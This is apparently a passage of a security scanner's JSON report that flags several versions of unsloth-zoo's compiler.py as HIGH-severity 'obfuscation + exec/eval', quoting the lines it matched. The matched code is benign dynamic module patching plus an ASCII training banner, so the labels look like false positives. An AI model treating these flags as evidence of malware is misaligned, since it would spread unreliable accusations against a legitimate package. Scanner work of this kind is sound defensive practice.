"evidence_hash": "aaba0e6f7c289e2d6ee4ac8ff927d691a450fb3913a4245aa0fab585dd28d871", "file_sha256": "19309b95fdcdc888dec1a55caf0559e5a7398746736ba5373885ec19129c6e80" }, { "package": "unsloth-zoo", "file": "unsloth_zoo/compiler.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", "evidence": "Obfusc: L2056: exec(compile(source, file_location, \"exec\"), new_module.__dict__) | L2373: _mod = __import__(model_location, fromlist=items) | L5166: compile(looped, \"\", \"exec\") | L7315: f\" {chr(92)}{chr(92)} /| Num examples = {num_examples:,} | Num Epochs = {num_train_epochs:,} | Total steps = {max_steps:,}\\\\n\"\\\\\nL7316: f\"O^O/ {chr(92)}_/ {chr(92)} Batch size per device = {self._train_batch_size:,} | Gradient accumulation steps = {args.gradient_accumulation_steps}\\\\n\"\\\\\nL7317: f\"{chr(92)} / Data Parallel GPUs = {args.world_size} | Total batch size ({self._train_batch_size} x {args.gradient_accumulation_steps} x {args.world_size}) = {total_train_batch_size: sha256:b7ea9cdbe360ad323911014caf12a9d4ec87cb36195a511080e4e484c2fb80d2\nL7318: f' \"-____-\" Trainable parameters = {get_model_param_count(model, trainable_only=True):,} of {get_model_param_count(model):,} ({get_model_param_count(model, trainable_only=True)/get_model_p sha256:9e832c1e7b2815aa44dc42638d821cb9df22550db88d85bd4bfb29c13f984b53 | L7316: f\"O^O/ {chr(92)}_/ {chr(92)} Batch size per device = {self._train_batch_size:,} | Gradient accumulation steps = {args.gradient_accumulation_steps}\\\\n\"\\\\\nL7317: f\"{chr(92)} / Data Parallel GPUs = {args.world_size} | Total batch size ({self._train_batch_size} x {args.gradient_accumulation_steps} x {args.world_size}) = {total_train_batch_size: sha256:b7ea9cdbe360ad323911014caf12a9d4ec87cb36195a511080e4e484c2fb80d2\nL7318: f' \"-____-\" Trainable parameters = {get_model_param_count(model, trainable_only=True):,} of {get_model_param_count(model):,} ({get_model_param_count(model, trainable_only=True)/get_model_p sha256:9e832c1e7b2815aa44dc42638d821cb9df22550db88d85bd4bfb29c13f984b53 | L7315: f\" {chr(92)}{chr(92)} /| Num examples = {num_examples:,} | Num Epochs = {num_train_epochs:,} | Total steps = {max_steps:,}\\\\n\"\\\\\nL7316: f\"O^O/ {chr(92)}_/ {chr(92)} Batch size per device = {self._train_batch_size:,} | Gradient accumulation steps = {args.gradient_accumulation_steps}\\\\n\"\\\\\nL7317: f\"{chr(92)} / Data Parallel GPUs = {args.world_size} | Total batch size ({self._train_batch_size} x {args.gradient_accumulation_steps} x {args.world_size}) = {total_train_batch_size: sha256:b7ea9cdbe360ad323911014caf12a9d4ec87cb36195a511080e4e484c2fb80d2\nExec: L2056: exec(compile(source, file_location, \"exec\"), new_module.__dict__) | L2270: _modeling_file = eval(model_location) | L3038: f = eval(f\"{model_location}.{module}\") | L3397: exec(f\"def raise_{j}(*args, **kwargs): print('{function}')\", globals(), locals()) | L3398: try: exec(f\"EMPTY_LOGITS.{function} = raise_{j}\", globals(), locals()) | L5185: exec(f\"import {parent}\", locals(), globals()) | L5273: dir(eval(parent)), | L5279: exec(f\"{parent}.{child}.forward = forward\", globals(), locals()) | L5359: module = eval(f\"modeling_file.{module}\") | L5386: inner_class = eval(f\"modeling_file.{inner_class}\") | L5621: exec(f\"from timm.layers.norm_act import {norm}\") | L5629: forward = eval(norm).forward | L5635: exec(f\"timm.layers.norm_act.{norm}.forward = forward\") | L5652: exec(f\"from timm.models._efficientnet_blocks import {block}\") | L5660: forward = eval(block).forward | L5666: exec(f\"timm.models._efficientnet_blocks.{block}.forward = forward\") | L5912: exec(\nL5913: f\"{model_location}.torch.nn.{module}.forward = forward\",\nL5914: globals(),\nL5915: locals(),\nL5916: ) | L5918: exec(f\"{model_location}.nn.{module}.forward = forward\", globals(), locals()) | L5922: exec(\nL5923: f\"combined_module.torch.nn.{module}.forward = forward\",\nL5924: globals(),\nL5925: locals(),\nL5926: ) | L5928: exec(f\"combined_module.nn.{module}.forward = forward\", globals(), locals()) | L6025: source = eval(f\"{model_location}.torch\") | L6032: function = eval(f\"source.nn.{module}\") | L6242: exec(\"import transformers\", globals()) | L6260: exec(\nL6261: \"model_logger.addFilter(HideLoggingMessage('`use_cache`'))\", globals(), locals()\nL6262: ) | L6264: exec(\nL6265: \"model_logger.addFilter(HideLoggingMessage('compile_config'))\",\nL6266: globals(),\nL6267: locals(),\nL6268: ) | L6502: source = eval(f\"modeling_file.{module}\") | L6517: source = eval(f\"modeling_file.{module}\") | L6646: source = eval(f\"modeling_file.{module}\") | L6692: source = eval(f\"{model_location}.{module}\") | L6772: source = eval(f\"{model_location}.{module}\") | L6820: source = eval(f\"{model_location}.{module}\") | L7071: source = eval(f\"{model_location}.{module}\") | L7082: exec(\nL7083: f\"{model_location}.{module}._update_causal_mask = no_update_causal_mask\",\nL7084: globals(),\nL7085: ) | L7145: source = eval(f\"{model_location}.{module}\") | L7186: module_cls = eval(f\"{model_location}.{module}\") | L7223: module_cls = eval(f\"{model_location}.{module}\") | L7300: exec(\nL7301: \"from transformers.trainer import (\" + \", \".join(x for x in good_items) + \")\",\nL7302: globals(),\nL7303: ) | L7365: exec(inner_training_loop, globals()) | L7374: function = eval(f\"{model_location}.{module}\") | L7467: function = eval(f\"{model_location}.{module}\") | L7654: exec(\nL7655: f\"{model_location}.{module} = combined_module.{module}\",\nL7656: globals(),\nL7657: locals(),\nL7658: ) | L7668: check_dicts = dir(eval(f\"{model_location}\")) | L7670: item = eval(f\"{model_location}.{check}\") | L7681: exec(\nL7682: f\"{model_location}.{check}['{key}'] = combined_module.{replaced_class}\",\nL7683: globals(),\nL7684: locals(),\nL7685: )", "evidence_hash": "4d1ef2037796e1cf12a3616a9c751bea58537ea6db528a196eca636d021be021", "file_sha256": "4928bb676fa7d2be490c6c47bc006a2ce4e90e9f56783f60a8f5af3a8b9c0f43" }, { "package": "unsloth-zoo", "file": "unsloth_zoo/compiler.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", "evidence": "Obfusc: L2046: exec(compile(source, file_location, \"exec\"), new_module.__dict__) | L2399: _mod = __import__(model_location, fromlist=items) | L5176: compile(looped, \"\", \"exec\") | L7457: f\" {chr(92)}{chr(92)} /| Num examples = {num_examples:,} | Num Epochs = {num_train_epochs:,} | Total steps = {max_steps:,}\\\\n\"\\\\\nL7458: f\"O^O/ {chr(92)}_/ {chr(92)} Batch size per device = {self._train_batch_size:,} | Gradient accumulation steps = {args.gradient_accumulation_steps}\\\\n\"\\\\\nL7459: f\"{chr(92)} / Data Parallel GPUs = {args.world_size} | Total batch size ({self._train_batch_size} x {args.gradient_accumulation_steps} x {args.world_size}) = {total_train_batch_size: sha256:b7ea9cdbe360ad323911014caf12a9d4ec87cb36195a511080e4e484c2fb80d2\nL7460: f' \"-____-\" Trainable parameters = {get_model_param_count(model, trainable_only=True):,} of {get_model_param_count(model):,} ({get_model_param_count(model, trainable_only=True)/get_model_p sha256:9e832c1e7b2815aa44dc42638d821cb9df22550db88d85bd4bfb29c13f984b53 | L7458: f\"O^O/ {chr(92)}_/ {chr(92)} Batch size per device = {self._train_batch_size:,} | Gradient accumulation steps = {args.gradient_accumulation_steps}\\\\n\"\\\\\nL7459: f\"{chr(92)} / Data Parallel GPUs = {args.world_size} | Total batch size ({self._train_batch_size} x {args.gradient_accumulation_steps} x {args.world_size}) = {total_train_batch_size: sha256:b7ea9cdbe360ad323911014caf12a9d4ec87cb36195a511080e4e484c2fb80d2\nL7460: f' \"-____-\" Trainable parameters = {get_model_param_count(model, trainable_only=True):,} of {get_model_param_count(model):,} ({get_model_param_count(model, trainable_only=True)/get_model_p sha256:9e832c1e7b2815aa44dc42638d821cb9df22550db88d85bd4bfb29c13f984b53 | L7457: f\" {chr(92)}{chr(92)} /| Num examples = {num_examples:,} | Num Epochs = {num_train_epochs:,} | Total steps = {max_steps:,}\\\\n\"\\\\\nL7458: f\"O^O/ {chr(92)}_/ {chr(92)} Batch size per device = {self._train_batch_size:,} | Gradient accumulation steps = {args.gradient_accumulation_steps}\\\\n\"\\\\\nL7459: f\"{chr(92)} / Data Parallel GPUs = {args.world_size} | Total batch size ({self._train_batch_size} x {args.gradient_accumulation_steps} x {args.world_size}) = {total_train_batch_size: sha256:b7ea9cdbe360ad323911014caf12a9d4ec87cb36195a511080e4e484c2fb80d2\nExec: L2046: exec(compile(source, file_location, \"exec\"), new_module.__dict__) | L2296: _modeling_file = eval(model_location) | L3054: f = eval(f\"{model_location}.{module}\") | L3413: exec(f\"def raise_{j}(*args, **kwargs): print('{function}')\", globals(), locals()) | L3414: try: exec(f\"EMPTY_LOGITS.{function} = raise_{j}\", globals(), locals()) | L5209: exec(f\"import {parent}\", locals(), globals()) | L5297: dir(eval(parent)), | L5309: exec(f\"{parent}.{child}.forward = forward\", globals(), locals()) | L5389: module = eval(f\"modeling_file.{module}\") | L5416: inner_class = eval(f\"modeling_file.{inner_class}\") | L5651: exec(f\"from timm.layers.norm_act import {norm}\") | L5659: forward = eval(norm).forward | L5665: exec(f\"timm.layers.norm_act.{norm}.forward = forward\") | L5682: exec(f\"from timm.models._efficientnet_blocks import {block}\") | L5690: forward = eval(block).forward | L5696: exec(f\"timm.models._efficientnet_blocks.{block}.forward = forward\") | L5957: exec(\nL5958: f\"{model_location}.torch.nn.{module}.forward = forward\",\nL5959: globals(),\nL5960: locals(),\nL5961: ) | L5963: exec(f\"{model_location}.nn.{module}.forward = forward\", globals(), locals()) | L5967: exec(\nL5968: f\"combined_module.torch.nn.{module}.forward = forward\",\nL5969: globals(),\nL5970: locals(),\nL5971: ) | L5973: exec(f\"combined_module.nn.{module}.forward = forward\", globals(), locals()) | L6070: source = eval(f\"{model_location}.torch\") | L6077: function = eval(f\"source.nn.{module}\") | L6375: exec(\"import transformers\", globals()) | L6401: exec(\nL6402: \"model_logger.addFilter(HideLoggingMessage('`use_cache`'))\", globals(), locals()\nL6403: ) | L6405: exec(\nL6406: \"model_logger.addFilter(HideLoggingMessage('compile_config'))\",\nL6407: globals(),\nL6408: locals(),\nL6409: ) | L6644: source = eval(f\"modeling_file.{module}\") | L6659: source = eval(f\"modeling_file.{module}\") | L6788: source = eval(f\"modeling_file.{module}\") | L6834: source = eval(f\"{model_location}.{module}\") | L6914: source = eval(f\"{model_location}.{module}\") | L6962: source = eval(f\"{model_location}.{module}\") | L7213: source = eval(f\"{model_location}.{module}\") | L7224: exec(\nL7225: f\"{model_location}.{module}._update_causal_mask = no_update_causal_mask\",\nL7226: globals(),\nL7227: ) | L7287: source = eval(f\"{model_location}.{module}\") | L7328: module_cls = eval(f\"{model_location}.{module}\") | L7365: module_cls = eval(f\"{model_location}.{module}\") | L7442: exec(\nL7443: \"from transformers.trainer import (\" + \", \".join(x for x in good_items) + \")\",\nL7444: globals(),\nL7445: ) | L7507: exec(inner_training_loop, globals()) | L7516: function = eval(f\"{model_location}.{module}\") | L7609: function = eval(f\"{model_location}.{module}\") | L7799: exec(\nL7800: f\"{model_location}.{module} = combined_module.{module}\",\nL7801: globals(),\nL7802: locals(),\nL7803: ) | L7813: check_dicts = dir(eval(f\"{model_location}\")) | L7815: item = eval(f\"{model_location}.{check}\") | L7827: exec(\nL7828: f\"{model_location}.{check}['{key}'] = combined_module.{replaced_class}\",\nL7829: globals(),\nL7830: locals(),\nL7831: )", "evidence_hash": "4d1ef2037796e1cf12a3616a9c751bea58537ea6db528a196eca636d021be021", "file_sha256": "ac0f82280901a7a17433ff0c2dddc74201dd4dfa6ae90beeaf7f71fe421573b2" }, { "package": "unsloth-zoo", "file": "unsloth_zoo/compiler.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", "evidence": "Obfusc: L2052: exec(compile(source, file_location, \"exec\"), new_module.__dict__) | L2405: _mod = __import__(model_location, fromlist=items) | L5181: compile(looped, \"\", \"exec\") | L7462: f\" {chr(92)}{chr(92)} /| Num examples = {num_examples:,} | Num Epochs = {num_train_epochs:,} | Total steps = {max_steps:,}\\\\n\"\\\\\nL7463: f\"O^O/ {chr(92)}_/ {chr(92)} Batch size per device = {self._train_batch_size:,} | Gradient accumulation steps = {args.gradient_accumulation_steps}\\\\n\"\\\\\nL7464: f\"{chr(92)} / Data Parallel GPUs = {args.world_size} | Total batch size ({self._train_batch_size} x {args.gradient_accumulation_steps} x {args.world_size}) = {total_train_batch_size: sha256:b7ea9cdbe360ad323911014caf12a9d4ec87cb36195a511080e4e484c2fb80d2\nL7465: f' \"-____-\" Trainable parameters = {get_model_param_count(model, trainable_only=True):,} of {get_model_param_count(model):,} ({get_model_param_count(model, trainable_only=True)/get_model_p sha256:9e832c1e7b2815aa44dc42638d821cb9df22550db88d85bd4bfb29c13f984b53 | L7463: f\"O^O/ {chr(92)}_/ {chr(92)} Batch size per device = {self._train_batch_size:,} | Gradient accumulation steps = {args.gradient_accumulation_steps}\\\\n\"\\\\\nL7464: f\"{chr(92)} / Data Parallel GPUs = {args.world_size} | Total batch size ({self._train_batch_size} x {args.gradient_accumulation_steps} x {args.world_size}) = {total_train_batch_size: sha256:b7ea9cdbe360ad323911014caf12a9d4ec87cb36195a511080e4e484c2fb80d2\nL7465: f' \"-____-\" Trainable parameters = {get_model_param_count(model, trainable_only=True):,} of {get_model_param_count(model):,} ({get_model_param_count(model, trainable_only=True)/get_model_p sha256:9e832c1e7b2815aa44dc42638d821cb9df22550db88d85bd4bfb29c13f984b53 | L7462: f\" {chr(92)}{chr(92)} /| Num examples = {num_examples:,} | Num Epochs = {num_train_epochs:,} | Total steps = {max_steps:,}\\\\n\"\\\\\nL7463: f\"O^O/ {chr(92)}_/ {chr(92)} Batch size per device = {self._train_batch_size:,} | Gradient accumulation steps = {args.gradient_accumulation_steps}\\\\n\"\\\\\nL7464: f\"{chr(92)} / Data Parallel GPUs = {args.world_size} | Total batch size ({self._train_batch_size} x {args.gradient_accumulation_steps} x {args.world_size}) = {total_train_batch_size: sha256:b7ea9cdbe360ad323911014caf12a9d4ec87cb36195a511080e4e484c2fb80d2\nExec: L2052: exec(compile(source, file_location, \"exec\"), new_module.__dict__) | L2302: _modeling_file = eval(model_location) | L3060: f = eval(f\"{model_location}.{module}\") | L3419: exec(f\"def raise_{j}(*args, **kwargs): print('{function}')\", globals(), locals()) | L3420: try: exec(f\"EMPTY_LOGITS.{function} = raise_{j}\", globals(), locals()) | L5214: exec(f\"import {parent}\", locals(), globals()) | L5302: dir(eval(parent)), | L5314: exec(f\"{parent}.{child}.forward = forward\", globals(), locals()) | L5394: module = eval(f\"modeling_file.{module}\") | L5421: inner_class = eval(f\"modeling_file.{inner_class}\") | L5656: exec(f\"from timm.layers.norm_act import {norm}\") | L5664: forward = eval(norm).forward | L5670: exec(f\"timm.layers.norm_act.{norm}.forward = forward\") | L5687: exec(f\"from timm.models._efficientnet_blocks import {block}\") | L5695: forward = eval(block).forward | L5701: exec(f\"timm.models._efficientnet_blocks.{block}.forward = forward\") | L5962: exec(\nL5963: f\"{model_location}.torch.nn.{module}.forward = forward\",\nL5964: globals(),\nL5965: locals(),\nL5966: ) | L5968: exec(f\"{model_location}.nn.{module}.forward = forward\", globals(), locals()) | L5972: exec(\nL5973: f\"combined_module.torch.nn.{module}.forward = forward\",\nL5974: globals(),\nL5975: locals(),\nL5976: ) | L5978: exec(f\"combined_module.nn.{module}.forward = forward\", globals(), locals()) | L6075: source = eval(f\"{model_location}.torch\") | L6082: function = eval(f\"source.nn.{module}\") | L6380: exec(\"import transformers\", globals()) | L6406: exec(\nL6407: \"model_logger.addFilter(HideLoggingMessage('`use_cache`'))\", globals(), locals()\nL6408: ) | L6410: exec(\nL6411: \"model_logger.addFilter(HideLoggingMessage('compile_config'))\",\nL6412: globals(),\nL6413: locals(),\nL6414: ) | L6649: source = eval(f\"modeling_file.{module}\") | L6664: source = eval(f\"modeling_file.{module}\") | L6793: source = eval(f\"modeling_file.{module}\") | L6839: source = eval(f\"{model_location}.{module}\") | L6919: source = eval(f\"{model_location}.{module}\") | L6967: source = eval(f\"{model_location}.{module}\") | L7218: source = eval(f\"{model_location}.{module}\") | L7229: exec(\nL7230: f\"{model_location}.{module}._update_causal_mask = no_update_causal_mask\",\nL7231: globals(),\nL7232: ) | L7292: source = eval(f\"{model_location}.{module}\") | L7333: module_cls = eval(f\"{model_location}.{module}\") | L7370: module_cls = eval(f\"{model_location}.{module}\") | L7447: exec(\nL7448: \"from transformers.trainer import (\" + \", \".join(x for x in good_items) + \")\",\nL7449: globals(),\nL7450: ) | L7512: exec(inner_training_loop, globals()) | L7521: function = eval(f\"{model_location}.{module}\") | L7614: function = eval(f\"{model_location}.{module}\") | L7804: exec(\nL7805: f\"{model_location}.{module} = combined_module.{module}\",\nL7806: globals(),\nL7807: locals(),\nL7808: ) | L7818: check_dicts = dir(eval(f\"{model_location}\")) | L7820: item = eval(f\"{model_location}.{check}\") | L7832: exec(\nL7833: f\"{model_location}.{check}['{key}'] = combined_module.{replaced_class}\",\nL7834: globals(),\nL7835: locals(),\nL7836: )", "evidence_hash": "4d1ef2037796e1cf12a3616a9c751bea58537ea6db528a196eca636d021be021", "file_sha256": "8de8968a28ea6e5a9e1c96594aef473786ab46f02287f22b10e6a6bb87611a94" }, { "package": "unsloth-zoo", "file": "unsloth_zoo/compiler.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", "evidence": "Obfusc: L2070: exec(compile(source, file_location, \"exec\"), new_module.__dict__) | L2423: _mod = __import__(model_location, fromlist=items) | L5199: compile(looped, \"\", \"exec\") | L7477: f\" {chr(92)}{chr(92)} /| Num examples = {num_examples:,} | Num Epochs = {num_train_epochs:,} | Total steps = {max_steps:,}\\\\n\"\\\\\nL7478: f\"O^O/ {chr(92)}_/ {chr(92)} Batch size per device = {self._train_batch_size:,} | Gradient accumulation steps = {args.gradient_accumulation_steps}\\\\n\"\\\\\nL7479: f\"{chr(92)} / Data Parallel GPUs = {args.world_size} | Total batch size ({self._train_batch_size} x {args.gradient_accumulation_steps} x {args.world_size}) = {total_train_batch_size: sha256:b7ea9cdbe360ad323911014caf12a9d4ec87cb36195a511080e4e484c2fb80d2\nL7480: f' \"-____-\" Trainable parameters = {get_model_param_count(model, trainable_only=True):,} of {get_model_param_count(model):,} ({get_model_param_count(model, trainable_only=True)/get_model_p sha256:9e832c1e7b2815aa44dc42638d821cb9df22550db88d85bd4bfb29c13f984b53 | L7478: f\"O^O/ {chr(92)}_/ {chr(92)} Batch size per device = {self._train_batch_size:,} | Gradient accumulation steps = {args.gradient_accumulation_steps}\\\\n\"\\\\\nL7479: f\"{chr(92)} / Data Parallel GPUs = {args.world_size} | Total batch size ({self._train_batch_size} x {args.gradient_accumulation_steps} x {args.world_size}) = {total_train_batch_size: sha256:b7ea9cdbe360ad323911014caf12a9d4ec87cb36195a511080e4e484c2fb80d2\nL7480: f' \"-____-\" Trainable parameters = {get_model_param_count(model, trainable_only=True):,} of {get_model_param_count(model):,} ({get_model_param_count(model, trainable_only=True)/get_model_p sha256:9e832c1e7b2815aa44dc42638d821cb9df22550db88d85bd4bfb29c13f984b53 | L7477: f\" {chr(92)}{chr(92)} /| Num examples = {num_examples:,} | Num Epochs = {num_train_epochs:,} | Total steps = {max_steps:,}\\\\n\"\\\\\nL7478: f\"O^O/ {chr(92)}_/ {chr(92)} Batch size per device = {self._train_batch_size:,} | Gradient accumulation steps = {args.gradient_accumulation_steps}\\\\n\"\\\\\nL7479: f\"{chr(92)} / Data Parallel GPUs = {args.world_size} | Total batch size ({self._train_batch_size} x {args.gradient_accumulation_steps} x {args.world_size}) = {total_train_batch_size: sha256:b7ea9cdbe360ad323911014caf12a9d4ec87cb36195a511080e4e484c2fb80d2\nExec: L2070: exec(compile(source, file_location, \"exec\"), new_module.__dict__) | L2320: _modeling_file = eval(model_location) | L3078: f = eval(f\"{model_location}.{module}\") | L3437: exec(f\"def raise_{j}(*args, **kwargs): print('{function}')\", globals(), locals()) | L3438: try: exec(f\"EMPTY_LOGITS.{function} = raise_{j}\", globals(), locals()) | L5232: exec(f\"import {parent}\", locals(), globals()) | L5320: dir(eval(parent)), | L5332: exec(f\"{parent}.{child}.forward = forward\", globals(), locals()) | L5412: module = eval(f\"modeling_file.{module}\") | L5439: inner_class = eval(f\"modeling_file.{inner_class}\") | L5674: exec(f\"from timm.layers.norm_act import {norm}\") | L5682: forward = eval(norm).forward | L5688: exec(f\"timm.layers.norm_act.{norm}.forward = forward\") | L5705: exec(f\"from timm.models._efficientnet_blocks import {block}\") | L5713: forward = eval(block).forward | L5719: exec(f\"timm.models._efficientnet_blocks.{block}.forward = forward\") | L5980: exec(\nL5981: f\"{model_location}.torch.nn.{module}.forward = forward\",\nL5982: globals(),\nL5983: locals(),\nL5984: ) | L5986: exec(f\"{model_location}.nn.{module}.forward = forward\", globals(), locals()) | L5990: exec(\nL5991: f\"combined_module.torch.nn.{module}.forward = forward\",\nL5992: globals(),\nL5993: locals(),\nL5994: ) | L5996: exec(f\"combined_module.nn.{module}.forward = forward\", globals(), locals()) | L6093: source = eval(f\"{model_location}.torch\") | L6100: function = eval(f\"source.nn.{module}\") | L6398: exec(\"import transformers\", globals()) | L6424: exec(\nL6425: \"model_logger.addFilter(HideLoggingMessage('`use_cache`'))\", globals(), locals()\nL6426: ) | L6428: exec(\nL6429: \"model_logger.addFilter(HideLoggingMessage('compile_config'))\",\nL6430: globals(),\nL6431: locals(),\nL6432: ) | L6667: source = eval(f\"modeling_file.{module}\") | L6682: source = eval(f\"modeling_file.{module}\") | L6811: source = eval(f\"modeling_file.{module}\") | L6857: source = eval(f\"{model_location}.{module}\") | L6937: source = eval(f\"{model_location}.{module}\") | L6985: source = eval(f\"{model_location}.{module}\") | L7236: source = eval(f\"{model_location}.{module}\") | L7307: source = eval(f\"{model_location}.{module}\") | L7348: module_cls = eval(f\"{model_location}.{module}\") | L7385: module_cls = eval(f\"{model_location}.{module}\") | L7462: exec(\nL7463: \"from transformers.trainer import (\" + \", \".join(x for x in good_items) + \")\",\nL7464: globals(),\nL7465: ) | L7527: exec(inner_training_loop, globals()) | L7536: function = eval(f\"{model_location}.{module}\") | L7629: function = eval(f\"{model_location}.{module}\") | L7820: exec(\nL7821: f\"{model_location}.{module} = combined_module.{module}\",\nL7822: globals(),\nL7823: locals(),\nL7824: ) | L7834: check_dicts = dir(eval(f\"{model_location}\")) | L7836: item = eval(f\"{model_location}.{check}\") | L7848: exec(\nL7849: f\"{model_location}.{check}['{key}'] = combined_module.{replaced_class}\",\nL7850: globals(),\nL7851: locals(),\nL7852: )", "evidence_hash": "3674ba2e5d3b40fa0c0d7dfa2c0c7be041317c76c2bc68339cb8a74846feaaef", "file_sha256": "d6b595e3570d2af5c52ef58ab935414ada0714716ed1ebea1bf0659ea145ce08" }, { "package": "unsloth-zoo", "file": "unsloth_zoo/compiler.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", "evidence": "Obfusc: L2090: exec(compile(source, file_location, \"exec\"), new_module.__dict__) | L2443: _mod = __import__(model_location, fromlist=items) | L5219: compile(looped, \"\", \"exec\") | L7495: f\" {chr(92)}{chr(92)} /| Num examples = {num_examples:,} | Num Epochs = {num_train_epochs:,} | Total steps = {max_steps:,}\\\\n\"\\\\\nL7496: f\"O^O/ {chr(92)}_/ {chr(92)} Batch size per device = {self._train_batch_size:,} | Gradient accumulation steps = {args.gradient_accumulation_steps}\\\\n\"\\\\\nL7497: f\"{chr(92)} / Data Parallel GPUs = {args.world_size} | Total batch size ({self._train_batch_size} x {args.gradient_accumulation_steps} x {args.world_size}) = {total_train_batch_size: sha256:b7ea9cdbe360ad323911014caf12a9d4ec87cb36195a511080e4e484c2fb80d2\nL7498: f' \"-____-\" Trainable parameters = {get_model_param_count(model, trainable_only=True):,} of {get_model_param_count(model):,} ({get_model_param_count(model, trainable_only=True)/get_model_p sha256:9e832c1e7b2815aa44dc42638d821cb9df22550db88d85bd4bfb29c13f984b53 | L7496: f\"O^O/ {chr(92)}_/ {chr(92)} Batch size per device = {self._train_batch_size:,} | Gradient accumulation steps = {args.gradient_accumulation_steps}\\\\n\"\\\\\nL7497: f\"{chr(92)} / Data Parallel GPUs = {args.world_size} | Total batch size ({self._train_batch_size} x {args.gradient_accumulation_steps} x {args.world_size}) = {total_train_batch_size: sha256:b7ea9cdbe360ad323911014caf12a9d4ec87cb36195a511080e4e484c2fb80d2\nL7498: f' \"-____-\" Trainable parameters = {get_model_param_count(model, trainable_only=True):,} of {get_model_param_count(model):,} ({get_model_param_count(model, trainable_only=True)/get_model_p sha256:9e832c1e7b2815aa44dc42638d821cb9df22550db88d85bd4bfb29c13f984b53 | L7495: f\" {chr(92)}{chr(92)} /| Num examples = {num_examples:,} | Num Epochs = {num_train_epochs:,} | Total steps = {max_steps:,}\\\\n\"\\\\\nL7496: f\"O^O/ {chr(92)}_/ {chr(92)} Batch size per device = {self._train_batch_size:,} | Gradient accumulation steps = {args.gradient_accumulation_steps}\\\\n\"\\\\\nL7497: f\"{chr(92)} / Data Parallel GPUs = {args.world_size} | Total batch size ({self._train_batch_size} x {args.gradient_accumulation_steps} x {args.world_size}) = {total_train_batch_size: sha256:b7ea9cdbe360ad323911014caf12a9d4ec87cb36195a511080e4e484c2fb80d2\nExec: L2090: exec(compile(source, file_location, \"exec\"), new_module.__dict__) | L2340: _modeling_file = eval(model_location) | L3098: f = eval(f\"{model_location}.{module}\") | L3457: exec(f\"def raise_{j}(*args, **kwargs): print('{function}')\", globals(), locals()) | L3458: try: exec(f\"EMPTY_LOGITS.{function} = raise_{j}\", globals(), locals()) | L5252: exec(f\"import {parent}\", locals(), globals()) | L5340: dir(eval(parent)), | L5352: exec(f\"{parent}.{child}.forward = forward\", globals(), locals()) | L5432: module = eval(f\"modeling_file.{module}\") | L5459: inner_class = eval(f\"modeling_file.{inner_class}\") | L5694: exec(f\"from timm.layers.norm_act import {norm}\") | L5702: forward = eval(norm).forward | L5708: exec(f\"timm.layers.norm_act.{norm}.forward = forward\") | L5725: exec(f\"from timm.models._efficientnet_blocks import {block}\") | L5733: forward = eval(block).forward | L5739: exec(f\"timm.models._efficientnet_blocks.{block}.forward = forward\") | L6000: exec(\nL6001: f\"{model_location}.torch.nn.{module}.forward = forward\",\nL6002: globals(),\nL6003: locals(),\nL6004: ) | L6006: exec(f\"{model_location}.nn.{module}.forward = forward\", globals(), locals()) | L6010: exec(\nL6011: f\"combined_module.torch.nn.{module}.forward = forward\",\nL6012: globals(),\nL6013: locals(),\nL6014: ) | L6016: exec(f\"combined_module.nn.{module}.forward = forward\", globals(), locals()) | L6113: source = eval(f\"{model_location}.torch\") | L6120: function = eval(f\"source.nn.{module}\") | L6418: exec(\"import transformers\", globals()) | L6444: exec(\nL6445: \"model_logger.addFilter(HideLoggingMessage('`use_cache`'))\", globals(), locals()\nL6446: ) | L6448: exec(\nL6449: \"model_logger.addFilter(HideLoggingMessage('compile_config'))\",\nL6450: globals(),\nL6451: locals(),\nL6452: ) | L6687: source = eval(f\"modeling_file.{module}\") | L6702: source = eval(f\"modeling_file.{module}\") | L6829: source = eval(f\"modeling_file.{module}\") | L6875: source = eval(f\"{model_location}.{module}\") | L6955: source = eval(f\"{model_location}.{module}\") | L7003: source = eval(f\"{model_location}.{module}\") | L7254: source = eval(f\"{model_location}.{module}\") | L7325: source = eval(f\"{model_location}.{module}\") | L7366: module_cls = eval(f\"{model_location}.{module}\") | L7403: module_cls = eval(f\"{model_location}.{module}\") | L7480: exec(\nL7481: \"from transformers.trainer import (\" + \", \".join(x for x in good_items) + \")\",\nL7482: globals(),\nL7483: ) | L7545: exec(inner_training_loop, globals()) | L7554: function = eval(f\"{model_location}.{module}\") | L7647: function = eval(f\"{model_location}.{module}\") | L7838: exec(\nL7839: f\"{model_location}.{module} = combined_module.{module}\",\nL7840: globals(),\nL7841: locals(),\nL7842: ) | L7852: check_dicts = dir(eval(f\"{model_location}\")) | L7854: item = eval(f\"{model_location}.{check}\") | L7866: exec(\nL7867: f\"{model_location}.{check}['{key}'] = combined_module.{replaced_class}\",\nL7868: globals(),\nL7869: locals(),\nL7870: )", "evidence_hash": "3674ba2e5d3b40fa0c0d7dfa2c0c7be041317c76c2bc68339cb8a74846feaaef", "file_sha256": "be8567ed8fe76b51921464aa9e7ed00bdabba05343c12fdb565fd82808ded46c" }, { "package": "unsloth-zoo", "file": "unsloth_zoo/compiler.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", "evidence": "Obfusc: L2091: exec(compile(source, file_location, \"exec\"), new_module.__dict__) | L2444: _mod = __import__(model_location, fromlist=items) | L5220: compile(looped, \"\", \"exec\") | L7496: f\" {chr(92)}{chr(92)} /| Num examples = {num_examples:,} | Num Epochs = {num_train_epochs:,} | Total steps = {max_steps:,}\\\\n\"\\\\\nL7497: f\"O^O/ {chr(92)}_/ {chr(92)} Batch size per device = {self._train_batch_size:,} | Gradient accumulation steps = {args.gradient_accumulation_steps}\\\\n\"\\\\\nL7498: f\"{chr(92)} / Data Parallel GPUs = {args.world_size} | Total batch size ({self._train_batch_size} x {args.gradient_accumulation_steps} x {args.world_size}) = {total_train_batch_size: sha256:b7ea9cdbe360ad323911014caf12a9d4ec87cb36195a511080e4e484c2fb80d2\nL7499: f' \"-____-\" Trainable parameters = {get_model_param_count(model, trainable_only=True):,} of {get_model_param_count(model):,} ({get_model_param_count(model, trainable_only=True)/get_model_p sha256:9e832c1e7b2815aa44dc42638d821cb9df22550db88d85bd4bfb29c13f984b53 | L7497: f\"O^O/ {chr(92)}_/ {chr(92)} Batch size per device = {self._train_batch_size:,} | Gradient accumulation steps = 